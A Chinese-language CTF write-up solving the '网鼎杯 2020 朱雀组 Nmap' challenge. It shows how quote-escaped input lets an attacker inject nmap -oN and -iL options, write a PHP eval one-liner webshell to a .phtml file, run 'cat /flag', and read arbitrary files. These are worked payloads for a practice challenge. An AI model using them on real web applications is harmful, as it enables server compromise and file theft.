记一道Nmap webshell获取
i-info / / CTF / 阅读量 25
题目:https://buuoj.cn/challenges#[网鼎杯 2020 朱雀组]Nmap

简述解题思路

主界面
扫描结果页面

思路很简单,猜测后端php的代码实现类似于<?php system("nmap -xxx '".hostname."'");?> 其中:-xxx指代预先设置的一些nmap参数,hostname是用户输入的IP,前面应该会有对用户输入的hostname进行过滤和检测的代码(然而此题太水,似乎并没有多少限制 所以我们就可以在hostname里进行一些注入操作。 尝试了一些简单的shell语句注入,似乎无果。而且看不到返回的结果,只会弹出“Host maybe down”的提示。也许是被过滤了,shell语句都没有执行的样子。 于是考虑一下nmap有无一些神奇的参数,然后尝试注入一些nmap的参数。

使用Nmap的option -oN

-o[]参数可以将nmap的结果输出到指定的文件中。
测试结果

尝试payload: 127.0.0.1 -oN out.txt

访问out.txt得到404 通过结果可以看到,输入内容应该是被引号包裹的。

尝试payload: 127.0.0.1' -oN out.txt '

注: 结尾的 ' 并非必须, 得到host maybe down的结果。不过,访问/out.txt可以看到注入成功了。
# Nmap 6.47 scan initiated Sun May 30 06:11:32 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/ff8a8 -oN out.txt 127.0.0.1\ '
Failed to resolve "127.0.0.1\".
Failed to resolve "".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Sun May 30 06:11:32 2021 -- 0 IP addresses (0 hosts up) scanned in 0.06 seconds
通过这返回值,也可以比较精确地推断php源代码了。
<?php system("nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/ff8a8 '" . hostname . "'"); ?>
不过,对于我们接下来的操作,用处不大。 既然可以访问到写入的文件了,我们只需要控制写入的文件,就可以获取到webshell,比如写入一条一句话木马。 跳过中间的一些尝试,直接看最终的结果吧。

payload: ' <?=eval($_GET[cmd]);?> -oN a.phtml '

注1:php字符会被过滤,返回Hacker... 所以使用<?= ?>的标签,并使用.phtml文件后缀 注2:由于 ' 会被转义成\'(并不影响操作) 所以最后一个 ' 前面加了一个空格,避免文件名和\连起来 原理:在nmap里,非option参数(-xxx xxx型),也就是单独的参数,就会被当作一个hostname,因为nmap执行的的任何信息都会被写入到文件中(即使这个hostname无效,他也会写入Failed to resolve "[hostname]"),所以,利用这个特性,把php代码当作hostname写入进去。 访问/a.phtml 就可以看到写入的🐎了。php标签被php解释器解析了,所以看不到写入的代码。 测试一下。
接下来就是常见的webshell使用了。 payload:a.phtml?cmd=system("cat /flag"); 得到flag。

Namp option -oN -iL 组合

-iL 从文件中读取hosts列表 利用前面提到的-oN特性。直接用-iL读取/flag 直接上payload

payload: ' -iL /flag -oN flag.txt '

然后访问/flag.txt就可以得到flag。

结语

比较水的一题,学习一下nmap的一些特性吧。
支付宝捐赠
请使用支付宝扫一扫进行捐赠
微信捐赠
请使用微信扫一扫进行赞赏
有 0 篇文章